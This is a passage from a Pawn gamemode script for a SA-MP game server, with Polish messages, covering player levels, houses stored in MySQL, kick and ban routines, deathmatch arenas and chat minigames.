  6951.                         format(string, sizeof(string), "Ping: ~w~%d", GetPlayerPing(i));
  6952.                         TextDrawSetString(TD_Ping[i], string);
  6953.                         format(string, sizeof(string), "FPS: ~w~%d", GetPlayerFPS(i));
  6954.                         TextDrawSetString(TD_FPS[i], string);
  6955.                         format(string, sizeof(string), "(%d/~y~%d~w~/~r~%d~w~)", Players_Online, Vips_Online, Admins_Online);
  6956.                         TextDrawSetString(Graczy[i], string);
  6957.                         format(string, sizeof(string), "/gang");
  6958.                         TextDrawSetString(TD_Gang[i], string);
  6959.                 }
  6960.         }
  6961.         return 1;
  6962. }
  6963.  
  6964. stock ControlLevelUp(playerid)
  6965. {
  6966.     if(Level[playerid] < GetPlayerLevel(playerid))
  6967.     PlayerPlaySound(playerid, 1183,0.0,0.0,0.0);
  6968.     Level[playerid] = GetPlayerLevel(playerid);
  6969.     new String[255];
  6970.     format(String, sizeof(String), ""czat" "C_O"Gratulacje! Osiągnąłes(as) "C_B"%d "C_O"level.", Level[playerid]);
  6971.     SCM(playerid, -1, String);
  6972.     SetTimerEx("InfoLevelEnd", 10000, false, "d", playerid);
  6973. }
  6974.  
  6975. forward InfoLevelEnd(playerid);
  6976. public InfoLevelEnd(playerid)
  6977. {
  6978.         PlayerPlaySound(playerid, 1184, 0.0, 0.0, 0.0);
  6979.         return 1;
  6980. }
  6981.  
  6982. forward TD_Teleport_Hide(playerid);
  6983. public TD_Teleport_Hide(playerid)
  6984. {
  6985.         TD_Hide(playerid, TD_Teleport_);
  6986. }
  6987. forward TD_Pojazd_Hide(playerid);
  6988. public TD_Pojazd_Hide(playerid)
  6989. {
  6990.     TD_Hide(playerid, TD_Pojazd);
  6991. }
  6992. stock GetPlayerLevel(playerid)
  6993. {
  6994.         new Lvl;
  6995.         do {
  6996.             Lvl++;
  6997.         } while(Lvl*Lvl*6 < GetPlayerScore(playerid));
  6998.         return (Lvl-1 < 1) ? 1 : Lvl-1;
  6999. }
  7000.  
  7001. stock GetPlayerNextExp(playerid)
  7002. {
  7003.         return (Level[playerid]+1)*(Level[playerid]+1)*6;
  7004. }
  7005.  
  7006. public Limit(playerid)
  7007. {
  7008.         if(GetPVarInt(playerid, "BladDziadygo") >= 2)
  7009.         {
  7010.         new string[128];
  7011.                 format(string, sizeof(string), "Gracz %s został uciszony na %i minut z powodu flood czatu.", pName, PLAYER_MUTE_TIME_MINUTES);
  7012.                 for(new i=0; i < MAX_PLAYERS; i++) if(IsPlayerConnected(i) && i != playerid) SendClientMessageToAll(0xD00000AA, string);
  7013.  
  7014.                 format(string, sizeof(string), "Zostałeś uciszony na %i minut za flood czatu.", PLAYER_MUTE_TIME_MINUTES);
  7015.                 SCM(playerid, 0xD00000AA, string);
  7016.  
  7017.                 SetTimerEx("Odciszanko", (PLAYER_MUTE_TIME_MINUTES * 60000), 0, "i", playerid);
  7018.                 SetPVarInt(playerid, "Mucik", 1);
  7019.  
  7020.                 CallRemoteFunction("OnPlayerGetMuted", "i", playerid);
  7021.         }
  7022.         SetPVarInt(playerid, "Wiadka", 0);
  7023.         SetPVarInt(playerid, "BladDziadygo", 0);
  7024.         return 1;
  7025. }
  7026.  
  7027. public Odciszanko(playerid)
  7028. {
  7029.         SCM(playerid, 0x28C900FF, "Zostałeś automatycznie odciszony.");
  7030.         SetPVarInt(playerid, "Mucik", 0);
  7031.         return 1;
  7032. }
  7033. forward RekordHide(playerid);
  7034. public RekordHide(playerid)
  7035. {
  7036.         PlayerPlaySound(playerid, 1098, 0.0, 0.0, 0.0);
  7037. }
  7038. forward WarnUnlock(playerid);
  7039. public WarnUnlock(playerid)
  7040. {
  7041.         WarnBlock[playerid] = false;
  7042.         return 1;
  7043. }
  7044. stock token_by_delim(const string[], return_str[], delim, start_index)
  7045. {
  7046.         new x=0;
  7047.         while(string[start_index] != EOS && string[start_index] != delim) {
  7048.             return_str[x] = string[start_index];
  7049.             x++;
  7050.             start_index++;
  7051.         }
  7052.         return_str[x] = EOS;
  7053.         if(string[start_index] == EOS) start_index = (-1);
  7054.         return start_index;
  7055. }
  7056.  
  7057. new Wwin;
  7058. WalizkaWin(playerid)
  7059. {
  7060.         format(strx, sizeof strx, "UPDATE `players` SET `walizek` = `walizek` + 1 WHERE `nick` = '%s'", pName[playerid]);
  7061.         mysql_query(strx);
  7062.         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'walizka'");
  7063.         switch(Wwin)
  7064.         {
  7065.             case 0:
  7066.             {
  7067.                 new rand = random(25000) + 1;
  7068.                 GivePlayerMoney(playerid, rand);
  7069.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"%d$", pName[playerid], rand);
  7070.             }
  7071.             case 1:
  7072.             {
  7073.                 new rand = random(80) + 1;
  7074.                 GivePlayerScore(playerid, rand);
  7075.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"%dexp", pName[playerid],rand);
  7076.             }
  7077.             case 2:
  7078.             {
  7079.                 SetPlayerHealth(playerid, 100.0);
  7080.                 SetPlayerArmour(playerid, 100.0);
  7081.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"Życie + Armor",pName[playerid]);
  7082.             }
  7083.             case 3:
  7084.             {
  7085.                 GivePlayerWeapon(playerid, 38, 5);
  7086.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"Miniguna z 5 nabojami",pName[playerid]);
  7087.             }
  7088.             case 4:
  7089.             {
  7090.                 KillPlayer(playerid);
  7091.                 GivePlayerScore(playerid, 1);
  7092.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"Zgon przez randke z Boxxy.",pName[playerid]);
  7093.             }
  7094.             case 5:
  7095.             {
  7096.                         GivePlayerWeapon(playerid, 14, 1);
  7097.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"znalazł walizkę! Wygrał: "C_B"Kwiaty.",pName[playerid]);
  7098.             }
  7099.         }
  7100.         Wwin++;
  7101.         if(Wwin == 6) Wwin = 0;
  7102.  
  7103.         SCMToAll(0x11BB11FF, strx);
  7104.         return 1;
  7105. }
  7106. forward cmd_ObliczDzialanie();
  7107. public cmd_ObliczDzialanie()
  7108. {
  7109.         new znaki[3] = {'+','-','*'};
  7110.         new l[3];
  7111.         new znak[2];
  7112.  
  7113.         znak[0] = znaki[random(3)];
  7114.     znak[1] = znaki[random(3)];
  7115.  
  7116.     switch(znak[1])
  7117.         {
  7118.             case '+': {
  7119.                 if(znak[0] == '+') { l[0] = random(90); l[1] = random(100); l[2] = random(95); ObliczWynik = (l[0]+l[1]+l[2]); }
  7120.                 if(znak[0] == '-') { l[0] = random(90); l[1] = random(100); l[2] = random(95); ObliczWynik = (l[0]-l[1]+l[2]); }
  7121.                 if(znak[0] == '*') { l[0] = random(20); l[1] = random(14); l[2] = random(15);  ObliczWynik = (l[0]*l[1]+l[2]); }
  7122.                 }
  7123.                 case '-': {
  7124.                 if(znak[0] == '+') { l[0] = random(90); l[1] = random(100); l[2] = random(95); ObliczWynik = (l[0]+l[1]-l[2]); }
  7125.                 if(znak[0] == '-') { l[0] = random(90); l[1] = random(100); l[2] = random(95); ObliczWynik = (l[0]-l[1]-l[2]); }
  7126.                 if(znak[0] == '*') { l[0] = random(20); l[1] = random(14); l[2] = random(15); ObliczWynik = (l[0]*l[1]-l[2]); }
  7127.                 }
  7128.                 case '/': {
  7129.                 if(znak[0] == '+') { l[0] = random(100); l[1] = random(20); l[2] = random(20); ObliczWynik = (l[0]+l[1]*l[2]); }
  7130.                 if(znak[0] == '-') { l[0] = random(100); l[1] = random(20); l[2] = random(20); ObliczWynik = (l[0]-l[1]*l[2]); }
  7131.                 if(znak[0] == '*') { l[0] = random(14); l[1] = random(10); l[2] = random(12); ObliczWynik = (l[0]*l[1]*l[2]); }
  7132.                 }
  7133.         }
  7134.  
  7135.         format(strx, sizeof(strx), ""C_O"Pierwszy gracz, który jako pierwszy poda prawidłowy wynik działania "C_B"%d %c %d %c %d "C_O"otrzyma "C_B"10.000$ i 35 exp'a.", l[0], znak[0], l[1], znak[1], l[2]);
  7136.         SCMToAll(0xCC9966FF, strx);
  7137.         new mstr[64];
  7138.         format(mstr, 64, "Test matematyczny: ~r~%d %c %d %c %d", l[0], znak[0], l[1], znak[1], l[2]);
  7139.  
  7140.         TextDrawSetString(Matematyka, mstr);
  7141.         TextDrawShowForAll(Matematyka);
  7142.         ObliczStatus = true;
  7143.         SetTimer("DzialanieOff", 120000, 0);
  7144.         return 1;
  7145. }
  7146.  
  7147. forward DzialanieOff();
  7148. public DzialanieOff()
  7149. {
  7150.         if(ObliczStatus == false) return 1;
  7151.  
  7152.         SCMToAll(-1, ""C_O"Nikt nie podał prawidłowego wyniku działania. Kolejne działanie już za kilka minut.");
  7153.         TextDrawHideForAll(Matematyka);
  7154.         ObliczWynik = 0;
  7155.         ObliczStatus = false;
  7156.         return 1;
  7157. }
  7158. forward ReactionTimeout();
  7159. public ReactionTimeout()
  7160. {
  7161.         KillTimer(TimerReaction);
  7162.         TimerReaction = SetTimer("ReactionTest", 420000, 0);
  7163.         TextDrawHideForAll(ReactionDraw);
  7164.         TestReaction = 0;
  7165.         return 1;
  7166. }
  7167. forward ReactionTest();
  7168. public ReactionTest()
  7169. {
  7170.         if(GetOnlinePlayers() == 0) return 1;
  7171.  
  7172.         KillTimer(TimerReaction);
  7173.         TimerReaction = SetTimer("ReactionTimeout",420000,0);
  7174.         TestReaction = 1;
  7175.  
  7176.         format(STRReaction, 10, "%c%c%c%c%c%c",
  7177.                 Letters[random(60)],Letters[random(60)],Letters[random(60)],
  7178.                 Letters[random(60)],Letters[random(60)],Letters[random(60)]);
  7179.  
  7180.         new mstr[64];
  7181.         format(mstr, 64, "Test reakcji: ~r~%s", STRReaction);
  7182.  
  7183.         TextDrawSetString(ReactionDraw, mstr);
  7184.         TextDrawShowForAll(ReactionDraw);
  7185.         return 1;
  7186. }
  7187. new gameshow[MAX_PLAYERS];
  7188. ShowGameDraw(playerid, message[], time)
  7189. {
  7190.         if(gameshow[playerid] != 0)
  7191.                 KillTimer(gameshow[playerid]);
  7192.  
  7193.         gameshow[playerid] = SetTimerEx("RCDrawOff", time, 0, "d", playerid);
  7194.         TextDrawSetString(GameDraw[playerid], message);
  7195.         TextDrawShowForPlayer(playerid, GameDraw[playerid]);
  7196.         return 1;
  7197. }
  7198. forward RCDrawOff(playerid);
  7199. public RCDrawOff(playerid)
  7200. {
  7201.         gameshow[playerid] = 0;
  7202.         TextDrawHideForPlayer(playerid, GameDraw[playerid]);
  7203.         return 1;
  7204. }
  7205. stock GetVehicleID(const data[])
  7206. {
  7207.         new i = -1;
  7208.         while(++i < sizeof(VehicleNames))
  7209.         {
  7210.                 if(!strcmp(VehicleNames[i], data, true)) return i + 400;
  7211.         }
  7212.         return 0;
  7213. }
  7214. LoadHouses()
  7215. {
  7216.         #define HOUSE_DAY 14
  7217.         HousePic[0] = CreatePickup(19132, 1, 2333,-1076.6999511719,1049, -1);
  7218.     HousePic[1] = CreatePickup(19132, 1, 2283.1000976563,-1139.8000488281,1050.9000244141, -1);
  7219.     HousePic[2] = CreatePickup(19132, 1, 2196.6999511719,-1204.4000244141,1049, -1);
  7220.     HousePic[3] = CreatePickup(19132, 1, 2308.8000488281,-1212.8000488281,1049, -1);
  7221.         HousePic[4] = CreatePickup(19132, 1, 2317.6999511719,-1026.5999755859,1050.1999511719, -1);
  7222.         HousePic[5] = CreatePickup(19132, 1, 2365.3000488281,-1135.5,1050.9000244141, -1);
  7223.  
  7224.         format(strx, sizeof strx, "SELECT `id`,`x`,`y`,`z`,`outx`,`outy`,`outz`,`outa`,`interior`,`owner`,`cost`,`name`,`time` FROM `house` LIMIT %d", MAX_HOUSES);
  7225.         mysql_query(strx);
  7226.         mysql_store_result();
  7227.  
  7228.         new rid, noowner[MAX_HOUSES];
  7229.         while(mysql_fetch_row(bstrx, "|"))
  7230.         {
  7231.             new id, Float:x, Float:y, Float:z, Float:ox, Float:oy, Float:oz, Float:or, interior, owner[20], cost, name[40], time;
  7232.             sscanf(bstrx, "p<|>ifffffffis[20]is[40]i", id, x, y, z, ox, oy, oz, or, interior, owner, cost, name, time);
  7233.             HouseInfo[rid][hCP] = CreatePickup(1277, 1, x,y,z + 0.2, 0);
  7234.  
  7235.                 if(owner[0] == '#' || gettime() > time + (24 * 60 * 60 * HOUSE_DAY))
  7236.                 {
  7237.                         format(strx, 120, ""C_O"Dom na sprzedaż!*\n\n"C_O"Cena: "C_B"%d", cost);
  7238.                         HouseInfo[rid][hLabel] = Create3DTextLabel(strx, -1, x,y,z + 1.5, 15.0, 0, 1);
  7239.                 }else{
  7240.                         format(strx, 120, ""C_B"%s"C_O"\n\n"C_O"Właściciel: "C_B"%s\n"C_O"Cena: "C_B"%d", name, owner, cost);
  7241.                         HouseInfo[rid][hLabel] = Create3DTextLabel(strx, -1, x,y,z + 1.5, 15.0, 0, 1);
  7242.  
  7243.                 }
  7244.         CreateDynamicMapIcon(x, y, z, 35, -1, 0, 0);
  7245.  
  7246.                 HouseInfo[rid][hX] = x;
  7247.                 HouseInfo[rid][hY] = y;
  7248.                 HouseInfo[rid][hZ] = z;
  7249.                 HouseInfo[rid][hOX] = ox;
  7250.                 HouseInfo[rid][hOY] = oy;
  7251.                 HouseInfo[rid][hOZ] = oz;
  7252.                 HouseInfo[rid][hOA] = or;
  7253.                 HouseInfo[rid][hInt] = interior;
  7254.                 HouseInfo[rid][hID] = id;
  7255.                 HouseInfo[rid][hCost] = cost;
  7256.                 format(HouseInfo[rid][hOwner], 40, "%s", owner);
  7257.                 format(HouseInfo[rid][hName], 40, "%s", name);
  7258.  
  7259.                 if(gettime() > time + (24 * 60 * 60 * HOUSE_DAY) && owner[0] != '#')
  7260.                 {
  7261.                     noowner[rid] = 1;
  7262.                         format(HouseInfo[rid][hOwner], 40, "#");
  7263.                         format(HouseInfo[rid][hName], 40, ""C_O"Dom na sprzedaż!");
  7264.                 }else noowner[rid] = 0;
  7265.                 rid++;
  7266.                 HouseCount++;
  7267.         }
  7268.         mysql_free_result();
  7269.  
  7270.         for(new i; i < sizeof noowner; i++)
  7271.         {
  7272.                 if(noowner[i] == 1)
  7273.                 {
  7274.                     format(bstrx, sizeof bstrx, "UPDATE `house` SET `owner` = '#', `name` = 'Dom na sprzedaż!', `time` = '0' WHERE `id` = '%d'", HouseInfo[i][hID]);
  7275.                         mysql_query(bstrx);
  7276.                 }
  7277.         }
  7278.         printf("Loaded %d houses", rid);
  7279.         return 1;
  7280. }
  7281.  
  7282. TeleportToHouse(playerid, hid, owner)
  7283. {
  7284.         if(owner == 1)
  7285.                 SCM(playerid, -1, ""C_O"Wpisz "C_B"/gospodarz"C_O", aby zarządzać swoim domem.");
  7286.  
  7287.         SetPlayerInterior(playerid, housesInt[HouseInfo[hid][hInt]]);
  7288.         SetPlayerPos(playerid, hPos[HouseInfo[hid][hInt]][0],hPos[HouseInfo[hid][hInt]][1],hPos[HouseInfo[hid][hInt]][2]);
  7289.         SetPlayerFacingAngle(playerid, 0.0);
  7290.         SetPlayerVirtualWorld(playerid, 150 + hWorld);
  7291.         SetPVarInt(playerid, "inHouse", 1);
  7292.         SetPVarInt(playerid, "eHouseID", hid);
  7293.  
  7294.         hWorld++;
  7295.         if(hWorld == 49)
  7296.         {
  7297.             hWorld = 0;
  7298.         }
  7299.         return 1;
  7300. }
  7301.  
  7302. ExitHousePlayer(playerid, hid)
  7303. {
  7304.         SetPlayerFacingAngle(playerid, HouseInfo[hid][hOA]);
  7305.     Spawned[playerid] = true;
  7306.         mysql_query("SELECT `x`,`y`,`z` FROM `spawn` WHERE `world` = 0 AND `interior` = 0 ORDER BY RAND() LIMIT 1");
  7307.         mysql_store_result();
  7308.  
  7309.         static name[30], X[12],Y[12],Z[12],A[12];
  7310.     mysql_fetch_field("name", name);
  7311.     mysql_fetch_field("x", X);
  7312.     mysql_fetch_field("y", Y);
  7313.     mysql_fetch_field("z", Z);
  7314.     mysql_fetch_field("rot", A);
  7315.     mysql_free_result();
  7316.  
  7317.     Streamer_UpdateEx(playerid, floatstr(X),floatstr(Y),floatstr(Z));
  7318.         SetPlayerPos(playerid, floatstr(X),floatstr(Y),floatstr(Z));
  7319.         SetPlayerFacingAngle(playerid, floatstr(A));
  7320.         SetPlayerInterior(playerid, 0);
  7321.         SetPlayerVirtualWorld(playerid, 0);
  7322.  
  7323.         SetPVarInt(playerid, "eHouseID", -1);
  7324.         SetPVarInt(playerid, "inHouse", 0);
  7325.         SetPVarInt(playerid, "hZapro", -1);
  7326.         return 1;
  7327. }
  7328.  
  7329. GetPlayerFromNick(nick[])
  7330. {
  7331.         foreach (Player, i)
  7332.         {
  7333.                 if(!strcmp(nick, pName[i])) return i;
  7334.         }
  7335.         return -1;
  7336. }
  7337. KickPlayer(playerid, admin[], reason[])
  7338. {
  7339.         new mstr[128];
  7340.  
  7341.         format(strx, sizeof strx, "Kick: %s (%d) - Admin: %s - Reason: %s", pName[playerid], playerid, admin, reason);
  7342.         WriteLog(strx);
  7343.  
  7344.         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'kicks'");
  7345.  
  7346.         InfoBox(playerid, "Zostałeś wyrzucony z serwera!");
  7347.         if(GetPVarInt(playerid, "Logged") == 1)
  7348.         {
  7349.                 format(mstr, 128, "{DD0000}Gracz {DDDDDD}%s{DD0000} został wyrzucony przez {DDDDDD}%s{DD0000}.", pName[playerid], admin);
  7350.                 SCMToAll(0xDD0000FF, mstr);
  7351.                 format(mstr, 128, "Powód: {DDDDDD}%s {DD0000}.", reason);
  7352.                 SCMToAll(0xDD0000FF, mstr);
  7353.         }
  7354.         Kick(playerid);
  7355.         return 1;
  7356. }
  7357. BanPlayer(playerid, admin[], reason[])
  7358. {
  7359.         new mstr[256], ip[24];
  7360.         GetPlayerIp(playerid, ip, 24);
  7361.  
  7362.         format(strx, sizeof strx, "Ban: %s (%d) - Admin: %s - Reason: %s", pName[playerid], playerid, admin, reason);
  7363.         WriteLog(strx);
  7364.  
  7365.         format(mstr, 256, "INSERT INTO `bans` (`nick`,`ip`,`date`,`admin`,`reason`) VALUES ('%s','%s','%d.%s.%dr.','%s','%s')", pName[playerid], ip, day, namemonth[month-1], year, admin, reason);
  7366.         mysql_query(mstr);
  7367.  
  7368.         InfoBox(playerid, "Zostałeś zbanowany!");
  7369.         if(GetPVarInt(playerid, "Logged") == 1)
  7370.         {
  7371.                 format(mstr, 256, "{DD0000}Gracz {DDDDDD}%s{DD0000} został zbanowany przez {DDDDDD}%s{DD0000}.", pName[playerid], admin);
  7372.                 SCMToAll(0xEE0000FF, mstr);
  7373.                 format(mstr, 256, "Powód: {DDDDDD}%s {DD0000}.", reason);
  7374.                 SCMToAll(0xEE0000FF, mstr);
  7375.         }
  7376.         Kick(playerid);
  7377.  
  7378.         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'bans'");
  7379.         return 1;
  7380. }
  7381.  
  7382. IsPlayerFight(playerid)
  7383. {
  7384.         if(pAntyTele[playerid][0] == -1)
  7385.             return 0;
  7386.  
  7387.         if(!IsPlayerConnected(pAntyTele[playerid][0]))
  7388.             return 0;
  7389.  
  7390.         if(GetPlayerVirtualWorld(pAntyTele[playerid][0]) != GetPlayerVirtualWorld(playerid))
  7391.             return 0;
  7392.  
  7393.         if(PlayerToPlayer(playerid, pAntyTele[playerid][0], 100.0) == 0)
  7394.         {
  7395.             if(pAntyTele[pAntyTele[playerid][0]][0] == playerid) pAntyTele[pAntyTele[playerid][0]][0] = -1;
  7396.             pAntyTele[playerid][0] = -1;
  7397.             return 0;
  7398.         }
  7399.         if(pAntyTele[playerid][1] < GetTickCount() - 15000)
  7400.         {
  7401.             if(pAntyTele[pAntyTele[playerid][0]][0] == playerid) pAntyTele[pAntyTele[playerid][0]][0] = -1;
  7402.             pAntyTele[playerid][0] = -1;
  7403.                 return 0;
  7404.         }
  7405.         return 1;
  7406. }
  7407.  
  7408. PlayerToPlayer(playerid, targetid, Float:dist)
  7409. {
  7410.     static Float:PTPpos[3];
  7411.     GetPlayerPos(targetid, PTPpos[0], PTPpos[1], PTPpos[2]);
  7412.     return IsPlayerInRangeOfPoint(playerid, dist, PTPpos[0], PTPpos[1], PTPpos[2]);
  7413. }
  7414. ClearAllFun(i)
  7415. {
  7416.         SetPVarInt(i, "pZapisanyHAY", 0);
  7417.         SetPVarInt(i, "pZapisanyCH", 0);
  7418.         SetPVarInt(i, "pZapisanySS", 0);
  7419.         SetPVarInt(i, "pZapisanyDD", 0);
  7420.         SetPVarInt(i, "pZapisanyTW", 0);
  7421.     SetPVarInt(i, "pZapisanyWG", 0);
  7422.     UpdateFunTextDraw();
  7423.         return 1;
  7424. }
  7425.  
  7426. DeathMatch(playerid, arena)
  7427. {
  7428.         if(IsPlayerFight(playerid) == 1)
  7429.                 return SCM(playerid, -1, ""C_B"Najpierw dokończ walke!");
  7430.  
  7431.         if(pInFun[playerid] == 1 && GetPVarInt(playerid, "pDM") == 0) return 0;
  7432.  
  7433.         if(GetPVarInt(playerid, "pDM") == 0) SCM(playerid, -1, ""C_O"Aby wyjść ze strefy DM wpisz "C_B"/exitdm");
  7434.  
  7435.         ResetPlayerWeapons(playerid);
  7436.         SetPlayerHealth(playerid, 100.0);
  7437.         SetPlayerArmour(playerid, 0.0);
  7438.     ClearAllFun(playerid);
  7439.  
  7440.         switch(arena)
  7441.         {
  7442.             case 4:
  7443.             {
  7444.                 new r = random(sizeof Spawn_SNP);
  7445.                 SetPlayerPos(playerid, Spawn_SNP[r][0],Spawn_SNP[r][1],Spawn_SNP[r][2] + 2.0);
  7446.                 SetPlayerVirtualWorld(playerid, 14);
  7447.                 SetPlayerInterior(playerid, 0);
  7448.             }
  7449.             case 3:
  7450.             {
  7451.                 new r = random(sizeof Spawn_JP);
  7452.                 SetPlayerPos(playerid, Spawn_JP[r][0],Spawn_JP[r][1],Spawn_JP[r][2] + 1.0);
  7453.                 SetPlayerVirtualWorld(playerid, 13);
  7454.                 SetPlayerInterior(playerid, 0);
  7455.             }
  7456.             case 2:
  7457.             {
  7458.                 new r = random(sizeof Spawn_OS);
  7459.                 SetPlayerPos(playerid, Spawn_OS[r][0],Spawn_OS[r][1],Spawn_OS[r][2] + 1.0);
  7460.                 SetPlayerVirtualWorld(playerid, 12);
  7461.                 SetPlayerInterior(playerid, 0);
  7462.             }
  7463.             case 1:
  7464.             {
  7465.                 new r = random(sizeof Spawn_RPG);
  7466.                 SetPlayerPos(playerid, Spawn_RPG[r][0],Spawn_RPG[r][1],Spawn_RPG[r][2] + 2.0);
  7467.                 SetPlayerVirtualWorld(playerid, 11);
  7468.                 SetPlayerInterior(playerid, 0);
  7469.             }
  7470.             case 0:
  7471.             {
  7472.                 new r = random(sizeof Spawn_RPG);
  7473.                 SetPlayerPos(playerid, Spawn_RPG[r][0],Spawn_RPG[r][1],Spawn_RPG[r][2] + 2.0);
  7474.                 SetPlayerVirtualWorld(playerid, 10);
  7475.                 SetPlayerInterior(playerid, 0);
  7476.             }
  7477.         }
  7478.         switch(arena)
  7479.         {
  7480.             case 0: GivePlayerWeapon(playerid, 35, 1500);
  7481.             case 1: GivePlayerWeapon(playerid, 38, 5000);
  7482.             case 2: GivePlayerWeapon(playerid, 24, 1500);
  7483.             case 3: GivePlayerWeapon(playerid, 32, 9999), SetPlayerSpecialAction(playerid, 2);
  7484.             case 4: GivePlayerWeapon(playerid, 34, 1500);
  7485.         }
  7486.         SetPVarInt(playerid, "pDM", arena +1); //+1
  7487.         pInFun[playerid] = 1;
  7488.  
  7489.         pLoop(i)
  7490.         {
  7491.                 ShowPlayerNameTagForPlayer(playerid, i, 0);
  7492.         }
  7493.         SetPVarInt(playerid, "ShowNickOff", 1);
  7494.         return 1;
  7495. }
  7496.  
  7497. ExitDM(playerid)
  7498. {
  7499.         if(GetPVarInt(playerid, "pDM") == 0)
  7500.             return 0;
  7501.  
  7502.         if(IsPlayerFight(playerid) == 1)
  7503.                 return SCM(playerid, -1, ""C_B"Najpierw dokończ walke!");
  7504.  
  7505.         SetPVarInt(playerid, "pDM", 0);
  7506.         pInFun[playerid] = 0;
  7507.         ResetPlayerWeapons(playerid);
  7508.         SetPlayerVirtualWorld(playerid, 0);
  7509.         SpawnPlayer(playerid);
  7510.  
  7511.         pLoop(i)
  7512.         {
  7513.                 ShowPlayerNameTagForPlayer(playerid, i, 1);
  7514.         }
  7515.         SetPVarInt(playerid, "ShowNickOff", 0);
  7516.         return 1;
  7517. }
  7518.  
  7519. Odstaw(playerid)
  7520. {
  7521.     SetPlayerPos(playerid,GetPVarFloat(playerid, "floX"),GetPVarFloat(playerid, "floY"),GetPVarFloat(playerid, "floZ"));
  7522.     SetPlayerVirtualWorld(playerid, GetPVarInt(playerid, "floVW"));
  7523.     SetPlayerInterior(playerid, GetPVarInt(playerid, "floInt"));
  7524.  
  7525.         SetPlayerColor(playerid, playerColors[playerid]);
  7526.         SetPlayerTeam(playerid, NO_TEAM);
  7527.  
  7528.     ResetPlayerWeapons(playerid);
  7529.         SetPlayerHealth(playerid, 100.0);
  7530.  
  7531.     if(GetPVarInt(playerid, "floVW") != 26)
  7532.         {
  7533.                 GiveStandartWeapon(playerid);
  7534.         }else GivePlayerWeapon(playerid, 24, 999);
  7535.  
  7536.         SetPVarInt(playerid, "floInt", 0);
  7537.         SetPVarInt(playerid, "floVW", 0);
  7538.         return 1;
  7539. }
  7540.  
  7541. IsPlayerAFK(i)
  7542. {
  7543.         if(IsPlayerConnected(i) == 0)
  7544.             return 1;
  7545.  
  7546.     if(GetPlayerState(i) == 0 || GetPlayerState(i) > 7)
  7547.         return 1;
  7548.  
  7549.         if(pLastUpdate[i] > 10)
  7550.             return 1;
  7551.  
  7552.         return pAFK[i];
  7553. }
  7554. UpdateFunTextDraw()
  7555. {
  7556.         new WG, CH, SS, DD, HAY, TW;
  7557.         pLoop(i)
  7558.         {
  7559.             if(IsPlayerConnected(i))
  7560.             {
  7561.                     if(GetPVarInt(i, "pZapisanyWG") == 1)
  7562.                     {
  7563.                         WG++;
  7564.                     }
  7565.                     if(GetPVarInt(i, "pZapisanyCH") == 1)
  7566.                     {
  7567.                         CH++;
  7568.                     }
  7569.                     if(GetPVarInt(i, "pZapisanySS") == 1)
  7570.                     {
  7571.                         SS++;
  7572.                     }
  7573.                     if(GetPVarInt(i, "pZapisanyDD") == 1)
  7574.                     {
  7575.                         DD++;
  7576.                     }
  7577.                     if(GetPVarInt(i, "pZapisanyHAY") == 1)
  7578.                     {
  7579.                         HAY++;
  7580.                     }
  7581.                         if(GetPVarInt(i, "pZapisanyTW") == 1)
  7582.                     {
  7583.                         TW++;
  7584.                     }
  7585.             }
  7586.         }
  7587.         WG_Zapisanych = WG;
  7588.         CH_Zapisanych = CH;
  7589.         SS_Zapisanych = SS;
  7590.         DD_Zapisanych = DD;
  7591.         HAY_Zapisanych = HAY;
  7592.         TW_Zapisanych = TW;
  7593.  
  7594.         new mstr[64];
  7595.         if(WG_Trwa == 0)
  7596.         {
  7597.                 format(mstr, 64, "/WG - ~r~~h~%d/4", WG);
  7598.                 TextDrawSetString(FunDraw[0], mstr);
  7599.         }else TextDrawSetString(FunDraw[0], "/WG - ~r~~h~Trwa");
  7600.  
  7601.         if(CH_Trwa == 0)
  7602.         {
  7603.                 format(mstr, 64, "/CH - ~r~~h~%d/4", CH);
  7604.                 TextDrawSetString(FunDraw[1], mstr);
  7605.         }else TextDrawSetString(FunDraw[1], "/CH - ~r~~h~Trwa");
  7606.  
  7607.         if(SS_Trwa == 0)
  7608.         {
  7609.                 format(mstr, 64, "/SS - ~r~~h~%d/2", SS);
  7610.                 TextDrawSetString(FunDraw[2], mstr);
  7611.         }else TextDrawSetString(FunDraw[2], "/SS - ~r~~h~Trwa");
  7612.  
  7613.         if(HAY_Trwa == 0)
  7614.         {
  7615.                 format(mstr, 64, "/HY - ~r~~h~%d/3", HAY);
  7616.                 TextDrawSetString(FunDraw[3], mstr);
  7617.         }else TextDrawSetString(FunDraw[3], "/HY - ~r~~h~Trwa");
  7618.  
  7619.         if(TW_Trwa == 0)
  7620.         {
  7621.                 format(mstr, 64, "/TW - ~r~~h~%d/3", TW);
  7622.                 TextDrawSetString(FunDraw[4], mstr);
  7623.         }else TextDrawSetString(FunDraw[4], "/TW - ~r~~h~Trwa");
  7624.  
  7625.         if(DD_Trwa == 0)
  7626.         {
  7627.                 format(mstr, 64, "/DD - ~r~~h~%d/4", DD);
  7628.                 TextDrawSetString(FunDraw[5], mstr);
  7629.         }else TextDrawSetString(FunDraw[5], "/DD - ~r~~h~Trwa");
  7630.  
  7631.         return 1;
  7632. }
  7633. UpdateFunStat(fun[], saved)
  7634. {
  7635.         new mstr[128], param[11], rekord;
  7636.         format(mstr, 128, "SELECT `value` FROM `stats` WHERE `name` = 'r%s'", fun);
  7637.         mysql_query(mstr);
  7638.         mysql_store_result();
  7639.         mysql_fetch_field("value", param);
  7640.         mysql_free_result();
  7641.  
  7642.         rekord = strval(param);
  7643.  
  7644.         if(rekord < saved)
  7645.         {
  7646.         format(mstr, 128, "UPDATE `stats` SET `value` = '%d' WHERE `name` = 'r%s'", saved, fun);
  7647.                 mysql_query(mstr);
  7648.         }
  7649.     format(mstr, 128, "UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'c%s'", fun);
  7650.         mysql_query(mstr);
  7651.         return 1;
  7652. }
  7653. IsNumberEven(number) {
